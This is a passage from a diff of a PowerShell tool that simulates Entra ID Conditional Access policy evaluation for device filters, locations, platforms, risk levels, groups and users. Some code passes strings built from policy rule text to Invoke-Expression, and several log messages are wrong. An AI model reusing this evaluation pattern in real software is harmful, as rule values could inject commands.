'-startsWith|-notStartsWith|-endsWith|-notEndsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = include." } + #check if the operator is 'starts with' + if ($DeviceOperator -eq '-startsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'starts with' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not starts with' + elseif ($DeviceOperator -eq '-notStartsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not starts with' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'ends with' + elseif ($DeviceOperator -eq '-endsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'ends with' so policymatch = false, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not ends with' + elseif ($DeviceOperator -eq '-notEndsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not ends with' so policymatch = true, mode = include" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + } + } + } + + + #Property=DeviceFilter and Mode=exclude + #check if it is exclude + if ($Policy.Conditions.devices.deviceFilter.mode -eq 'exclude') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Device mode is exclude." } + if (@($DeviceProperty) -match 'deviceId|mdmAppId') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = exclude" } + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + #check if value in the rule equals the one given with parameters + if (@($DeviceValue) -contains $ConditionsToSimulateString) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = exclude." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = false, mode = exclude" + } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + #value in the rule does not equal the one given with parameters + else { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = exclude." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = true, mode = exclude" + } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = false, mode = exclude" + } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + } + } + elseif (@($DeviceProperty) -match 'deviceOwnership|isCompliant|profileType|trustType') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = exclude" } + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + if (@($DeviceValue) -contains $ConditionsToSimulateString) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = exclude." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + } + #value in the rule does not equal the one given with parameters + else { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = exclude." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + } + elseif (@($DeviceProperty) -match 'physicalIds|systemLabels') { + Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = exclude" + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + if (@($DeviceValue) -contains $ConditionsToSimulateString) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = exclude." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + } + #value in the rule does not equal the one given with parameters + else { + Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = exclude." + #check if the operator is 'equals' + if ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Exclude $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + } + elseif (@($DeviceProperty) -match 'displayName|enrollmentProfileName|manufacturer|model|operatingSystem|operatingSystemVersion|extensionAttribute1|extensionAttribute2|extensionAttribute3|extensionAttribute4|extensionAttribute5|extensionAttribute6|extensionAttribute7|extensionAttribute8|extensionAttribute9|extensionAttribute10|extensionAttribute11|extensionAttribute12|extensionAttribute13|extensionAttribute14|extensionAttribute15') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Evaluating policy for DeviceProperty: $($DeviceProperty), mode = exclude" } + $ConditionsToSimulateString = Invoke-Expression ('$ConditionsToSimulate.' + $DeviceProperty) + #check if value in the rule equals the one given with parameters + if (@($DeviceValue) -contains $ConditionsToSimulateString -and @($DeviceOperator) -match '-eq|-ne|-contains|notContains|-in|-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = exclude." } + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'contains' + elseif ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not contains' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Includ $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + } + #value in the rule does not equal the one given with parameters + elseif (@($DeviceOperator) -match '-eq|-ne|-contains|notContains|-in|-notIn') { + Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = exclude." + #check if the operator is 'equals' + if ($DeviceOperator -eq '-eq') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'equals' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not equals' + elseif ($DeviceOperator -eq '-ne') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not equals' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'contains' + elseif ($DeviceOperator -eq '-contains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'contains' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not contains' + elseif ($DeviceOperator -eq '-notContains') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not contains' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'in' + elseif ($DeviceOperator -eq '-in') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'in' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not in' + elseif ($DeviceOperator -eq '-notIn') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not in' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + if (($DeviceValue | ForEach-Object { $ConditionsToSimulateString -like "*$_*" }) -and ($DeviceOperator -match '-startsWith|-notStartsWith|-endsWith|-notEndsWith')) { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "$DeviceProperty does equal the DeviceValue, mode = exclude." + } + #check if the operator is 'starts with' + if ($DeviceOperator -eq '-startsWith') { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "$DeviceProperty operator is 'starts with' so policymatch = false, mode = exclude" + } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not starts with' + elseif ($DeviceOperator -eq '-notStartsWith') { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "$DeviceProperty operator is 'not starts with' so policymatch = true, mode = exclude" + } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'ends with' + elseif ($DeviceOperator -eq '-endsWith') { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "$DeviceProperty operator is 'ends with' so policymatch = false, mode = exclude" + } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'not ends with' + elseif ($DeviceOperator -eq '-notEndsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not ends with' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + } + #value in the rule does not equal the one given with parameters + elseif (@($DeviceOperator) -match '-startsWith|-notStartsWith|-endsWith|-notEndsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty does not equal the DeviceValue, mode = exclude." } + #check if the operator is 'starts with' + if ($DeviceOperator -eq '-startsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'starts with' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not starts with' + elseif ($DeviceOperator -eq '-notStartsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not starts with' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + #check if the operator is 'ends with' + elseif ($DeviceOperator -eq '-endsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'ends with' so policymatch = true, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: APPLIED' } + } + #check if the operator is 'not ends with' + elseif ($DeviceOperator -eq '-notEndsWith') { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "$DeviceProperty operator is 'not ends with' so policymatch = false, mode = exclude" } + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'Include $($DeviceProperty)s: NOT APPLIED' } + $PolicyMatch = $false + } + } + } + } + + if ($null -ne $entireRule) { + $PolicyMatchArray += $PolicyMatch + if ($singleSplitRule -eq $splitRuleArray[-1] -or $singleSplitRule -eq $entireRule) { + if ($ToggleVerbosePrinting) { + Write-Verbose -Verbose "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! The end of the for loop !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" + Write-Verbose -Verbose "Original entire rule: $entireRule" + Write-Verbose -Verbose "Original boolean values: $PolicyMatchArray" + } + + $entireRule = $entireRule ` + -replace '(device\.\w+)', 'ReplacePart1$1ReplacePart2' ` + -replace '(-(?!(and|or))\w+)', 'ReplacePart3$1ReplacePart4' ` + -replace '("(.*?)"|\[.*?\]|(?<=\s)(True|False)(?=\s|$))', 'ReplacePart5"$1$2"ReplacePart6' + # Write-Verbose -Verbose "Entire rule made easily readible for the code: $entireRule" + # Write-Verbose -Verbose "" + + $entireRule = $entireRule -replace 'ReplacePart1.*?ReplacePart6', 'expression' + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Parts are replaced by the word expression: $entireRule" } + + $splitRule = $entireRule -split 'expression' + # Write-Verbose -Verbose "split on expression: $splitRule" + + $finalArray = '' + # Iterate over the split string and add corresponding True/False values + for ($i = 0; $i -lt $splitRule.Length; $i++) { + $finalArray += $splitRule[$i] + if ($i -lt $PolicyMatchArray.Length) { + $finalArray += $PolicyMatchArray[$i] + } + } + # Put the proper boolean values + $finalArray = $finalArray -replace 'True', '$true' -replace 'False', '$false' + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "Booleans get replaced by real boolean values: $finalArray" } + + # Use Invoke-Expression to evaluate the final logical expression + if (Invoke-Expression $finalArray) { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "The final conditional evaluated to True." } + $PolicyMatch = $true + } + else { + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "The final condition evaluated to False." } + $PolicyMatch = $false + } + if ($ToggleVerbosePrinting) { Write-Verbose -Verbose "----------------------------------------------------------------------------------------- End of a Conditional Access Policy -----------------------------------------------------------------------------------------" } + } + } + } + + #-------------------------------------------------------------------------------------------------------------------------------------------------- + + #ExcludeLocationsIPAddress + if ($ConditionsToSimulate.TrustedIPAddress) { + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.ExcludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.isTrusted + } + } + + if ($TrustedLocation) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($JSONFile) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: APPLIED (JSON mode assumes not excluded)' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: APPLIED' } + } + } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsIPAddress: APPLIED' } + } + + + #ExcludeLocationsCountry + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.ExcludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.countriesAndRegions + } + } + + if ($TrustedLocation -contains $ConditionsToSimulate.Country) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsCountry: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($JSONFile -and $Policy.Conditions.Locations.ExcludeLocations) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsCountry: NOT APPLIED (JSON mode assumes excluded)' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeLocationsCountry: APPLIED' } + } + } + + + #IncludeLocationsIPAddress + $IncludeLocationsIPAddressMatch = $true + if ($Policy.Conditions.Locations.IncludeLocations -eq $null) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'AllTrusted' -and $ConditionsToSimulate.TrustedIPAddress) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + else { + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.IncludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.isTrusted + } + } + + $TrustedLocation = $TrustedLocation | Where-Object { $_ -eq $true } + + if ($TrustedLocation -and $ConditionsToSimulate.TrustedIPAddress) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED' } + } + else { + if ($JSONFile) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: APPLIED (JSON mode assumes included)' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsIPAddress: NOT APPLIED' } + $IncludeLocationsIPAddressMatch = $false + } + } + } + + + #IncludeLocationsCountry + $IncludeLocationsCountryMatch = $true + if ($Policy.Conditions.Locations.IncludeLocations -eq $null) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + elseif ($Policy.Conditions.Locations.IncludeLocations -eq 'AllTrusted') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + else { + $TrustedLocation = foreach ($Location in $Policy.Conditions.Locations.IncludeLocations) { + if (!($JSONFile)) { + (Get-MgIdentityConditionalAccessNamedLocation | where id -eq $Location).AdditionalProperties.countriesAndRegions + } + } + + if ($TrustedLocation -contains $ConditionsToSimulate.Country) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + else { + if ($JSONFile) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED (JSON mode assumes included)' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: NOT APPLIED' } + $IncludeLocationsCountryMatch = $false + } + } + } + + if ($IncludeLocationsIPAddressMatch -eq $false -and $IncludeLocationsCountryMatch -eq $false) { + $PolicyMatch = $false + } + + + #ExcludePlatforms + if (($Policy.Conditions.Platforms.ExcludePlatforms).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: APPLIED' } + } + elseif ($Policy.Conditions.Platforms.ExcludePlatforms -eq 'all') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: NOT APPLIED' } + $PolicyMatch = $false + } + elseif ($Policy.Conditions.Platforms.ExcludePlatforms -contains $ConditionsToSimulate.Platform) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: APPLIED' } + } + + + #IncludePlatforms + if (($Policy.Conditions.Platforms.IncludePlatforms).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: APPLIED' } + } + elseif ($Policy.Conditions.Platforms.IncludePlatforms -eq 'all') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: APPLIED' } + } + elseif ($Policy.Conditions.Platforms.IncludePlatforms -contains $ConditionsToSimulate.Platform) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: APPLIED' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: NOT APPLIED' } + $PolicyMatch = $false + } + + + #SignInRiskLevels + if (($Policy.Conditions.SignInRiskLevels).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'SignInRiskLevels: APPLIED' } + } + elseif ($Policy.Conditions.SignInRiskLevels -notcontains $ConditionsToSimulate.SignInRiskLevel) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'SignInRiskLevels: NOT APPLIED' } + $PolicyMatch = $false + } + + + #UserRiskLevels + if (($Policy.Conditions.UserRiskLevels).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'UserRiskLevels: APPLIED' } + } + elseif ($Policy.Conditions.UserRiskLevels -notcontains $ConditionsToSimulate.UserRiskLevel) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'UserRiskLevels: NOT APPLIED' } + $PolicyMatch = $false + } + + + #ExcludeGroups + $ExcludeGroupsResult = 'ExcludeGroups: APPLIED' + + if (($Policy.Conditions.Users.ExcludeGroups).Count -eq 0) { + # + } + else { + foreach ($Group in $Policy.Conditions.Users.ExcludeGroups) { + if ($ConditionsToSimulate.Groups -contains $Group) { + $ExcludeGroupsResult = 'ExcludeGroups: NOT APPLIED' + break + } + } + } + + if ($ExcludeGroupsResult -eq 'ExcludeGroups: APPLIED') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $ExcludeGroupsResult } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $ExcludeGroupsResult } + $PolicyMatch = $false + } + + + #IncludeGroups + $IncludeGroupsResult = 'IncludeGroups: NOT APPLIED' + + if (($Policy.Conditions.Users.IncludeGroups).Count -eq 0) { + # + } + else { + foreach ($Group in $Policy.Conditions.Users.IncludeGroups) { + if ($ConditionsToSimulate.Groups -contains $Group) { + $IncludeGroupsResult = 'IncludeGroups: APPLIED' + break + } + } + } + + if ($IncludeGroupsResult -eq 'IncludeGroups: NOT APPLIED') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $IncludeGroupsResult } + $GroupMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $IncludeGroupsResult } + $GroupMatch = $true + } + + + #ExcludeGuestsOrExternalUsers + #IncludeGuestsOrExternalUsers + #ExcludeRoles + #IncludeRoles + + + #ExcludeUsers + if ($Policy.Conditions.Users.excludeGuestsOrExternalUsers.GuestOrExternalUserTypes -and $ConditionsToSimulate.UserId -eq 'GuestsOrExternalUsers') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeUsers: NOT APPLIED' } + $UserMatch = $false + } + elseif ($Policy.Conditions.Users.ExcludeUsers -contains $ConditionsToSimulate.UserId) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeUsers: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeUsers: APPLIED' } + } + + + #IncludeUsers + if ($Policy.Conditions.Users.IncludeUsers -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: APPLIED' } + $UserMatch = $true + } + elseif ($Policy.Conditions.Users.includeGuestsOrExternalUsers.GuestOrExternalUserTypes -and $ConditionsToSimulate.UserId -eq 'GuestsOrExternalUsers') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: APPLIED' } + $UserMatch = $true + } + elseif ($Policy.Conditions.Users.IncludeUsers -contains $ConditionsToSimulate.UserId) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: APPLIED' } + $UserMatch = $true + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: NOT APPLIED' } + $UserMatch = $false + } + + + if ($PolicyMatch) { + if ($GroupMatch -or $UserMatch) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY APPLIED: TRUE" } + $CustomObject | 